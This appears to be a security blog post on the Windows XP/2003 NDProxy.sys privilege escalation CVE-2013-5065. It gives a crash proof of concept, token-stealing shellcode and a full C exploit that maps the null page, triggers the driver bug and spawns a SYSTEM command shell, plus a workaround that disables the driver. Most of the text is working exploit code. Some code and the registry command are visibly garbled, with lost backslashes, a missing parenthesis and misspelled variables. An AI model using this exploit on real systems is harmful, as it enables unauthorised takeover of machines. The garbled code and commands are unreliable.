NDProxy Privilege Escalation (CVE-2013-5065)

Introduction

In the last few days everyone is raving about CVE-2013-5065, a new Windows XP/2k3 privilege escalation, well documented by FireEye. Googling around, we came across a Twitter message which contained a link to a Chinese vulnerability analysis and PoC for CVE-2013-5065.

Exploit POC:

#include "windows.h"
#include "stdio.h"
void main(){
    HANDLE hdev=CreateFile("\\.\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL);
    if hdev==INVALID_HANDLE_VALUE){
        printf("CreateFile Failed: %d/n",GetLastError());
    }
    DWORD InBuf [0x15] = {0};
    DWORD dwRetbytes = 0;
    *(InBuf + 5) = x7030125;
    *(InBuf + 7) = 0x34;
    DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &deRetBytes, 0);
    CloseHandle(hdev);
}

Due to the fact that the extended instruction pointer is set to 0×00000038 at the time of the crash, this bug can easily be exploited on Windows XP or 2K3, as both of these Operating Systems allow non-privileged users to map the null page within the context of a user process. It is then quite trivial to produce a fully working exploit.

Vulnerable Systems:

  • Windows XP SP3 (x32)
  • Windows XP SP2 (x64)
  • Windows 2003 SP2 (x32)
  • Windows 2003 SP2 (x64)
  • Windows 2003  SP2 for Itanium-based Systems

Workaround

To implement this workaround, please follow the steps below.

I run the following command from the command prompt (as an administrator):

sc stop ndproxy 
reg add HKLM  System  CurrentControlSet  Services  ndproxy / v ImagePath / t REG_EXPAND_SZ / d system32  drivers  null.sys / f

If you disable NDProxy.Sys, Windowssome services that depend Telephony Application Programming Interfaces of the (TAPI) will not work. As such the following services will fail to function correctly: Remote Access Service (RAS), Dial-Up Networking , Virtual Private Network (VPN).

Weaponising the Code

The crux of the exploit is there all we need to do is write our shell code to the NULL page; rather than reinvent the wheel I scoured exploit-db for some previous written code.  I found a useful code block InitFirstPage() in the following exploit for MS10-047 (http://www.exploit-db.com/exploits/14666/).

Then added the following code at the bottom of the main function:

system("start /d "C:\windows\system32" cmd.exe");
return 0;

After some more playing around with the shell code, I decided to take ryujin’s original python code and convert it to C.

From:
sh="x90x33xC0x64x8Bx80x24x01x00x00x8Bx40x44x8BxC8x8Bx80x88x00x00x00x2Dx88x00x00x00x83xB8x84x00x00x00x04x75xECx8Bx90xC8x00x00x00x89x91xC8x00x00x00xC3"
sc ="x90"*0x38 + "x3cx00x00x00" + "x90"*4 + sh +"xcc"*(0x400-0x3c-4-len(sh))

To:
unsigned char sc[] =
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x3Cx00x00x00x90x90x90x90"
"x90x33xC0x64x8Bx80x24x01x00x00x8Bx40x44x8BxC8x8B"
"x80x88x00x00x00x2Dx88x00x00x00x83xB8x84x00x00x00"
"x04x75xECx8Bx90xC8x00x00x00x89x91xC8x00x00x00xC3";
unsigned char * sh;
sh=(char*)malloc(400);
memset(sh,"xCC",400);
memcpy(sh,sc,112);

Exploit

The resulting code looks like:

/*
NDProxy.c
NDProxy.sys Local Privilege Escalation Exploit CVE-2013-5065
Based on Chinese PoC with ideas taken from Ryujin's and Tavis Ormandy's previously released exploit code.
Pentura 2013(C)
10-DEC-2013
Tested on Windows XP SP3 32-bit
*/
#include "windows.h"
#include "stdio.h"

typedef struct {
    PVOID   Unknown1;
    PVOID   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef DWORD NTSTATUS;
NTSTATUS (WINAPI *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,
         PVOID SystemInformation,
         ULONG SystemInformationLength,
         PULONG ReturnLength
         );

static VOID InitFirstPage()
{
    PVOID BaseAddress;
    ULONG RegionSize;
    NTSTATUS ReturnCode;
    FARPROC NtAllocateVirtualMemory;

    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtAllocateVirtualMemory");

    fprintf(stderr, "NtAllocateVirtualMemory@%pn", NtAllocateVirtualMemory);
    RegionSize = 0xf000;
    BaseAddress = (PVOID) 0x00000001;
    ReturnCode = NtAllocateVirtualMemory(GetCurrentProcess(),
                                         &BaseAddress,
	                                     0,
                                         &RegionSize,
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_EXECUTE_READWRITE);
     if (ReturnCode != 0) {
         fprintf(stderr, "NtAllocateVirtualMemory() failed to map first page, %#Xn",ReturnCode);
         fflush(stderr);
         ExitProcess(1);
    }
    fprintf(stderr, "BaseAddress: %p, RegionSize: %#xn", BaseAddress, RegionSize), fflush(stderr);
    FillMemory(BaseAddress, RegionSize, 0x41);
    return;
}

int main()
{
    DWORD fb;
    int result;

    InitFirstPage();

    unsigned char sc[] =
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x3Cx00x00x00x90x90x90x90"
    "x90x33xC0x64x8Bx80x24x01x00x00x8Bx40x44x8BxC8x8B"
    "x80x88x00x00x00x2Dx88x00x00x00x83xB8x84x00x00x00"
    "x04x75xECx8Bx90xC8x00x00x00x89x91xC8x00x00x00xC3";
    unsigned char * sh;
    sh=(char*)malloc(400);
    memset(sh,"xCC",400);
    memcpy(sh,sc,112);

    result = WriteProcessMemory((HANDLE)0xFFFFFFFF, (LPVOID)0x00000001, sh, 0x400, &fb);
    if (result==0)
    {
        printf("[!] Error occured while attempting to map memory_write");
        printf("Details : %dn", GetLastError());
        exit(1);
    }

    HANDLE hdev=CreateFile("\\.\NDProxy",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL);
    if (hdev==INVALID_HANDLE_VALUE){
        printf("CreateFile Failed: %d/n",GetLastError());
    }
    DWORD InBuf [0x15] = {0};
    DWORD dwRetBytes = 0;
    *(InBuf + 5) = 0x7030125;
    *(InBuf + 7) = 0x34;
    DeviceIoControl(hdev,0x8fff23cc,InBuf, 0x54, InBuf, 0x24 , &dwRetBytes, 0);
    CloseHandle(hdev);
    printf("[+] Spawning SYSTEM Shell...");
    system("start /d "C:\Windows\System32" cmd.exe");
    return 0;
}

Links